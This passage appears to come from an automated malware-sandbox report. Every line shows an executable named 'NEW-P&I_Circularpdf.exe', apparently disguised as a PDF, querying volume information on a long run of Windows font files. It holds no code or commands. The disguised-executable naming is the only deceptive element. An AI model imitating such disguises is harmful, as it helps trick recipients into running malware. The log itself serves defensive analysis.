                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
                  Source: C:\Users\user\Desktop\NEW-P&I_Circularpdf.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
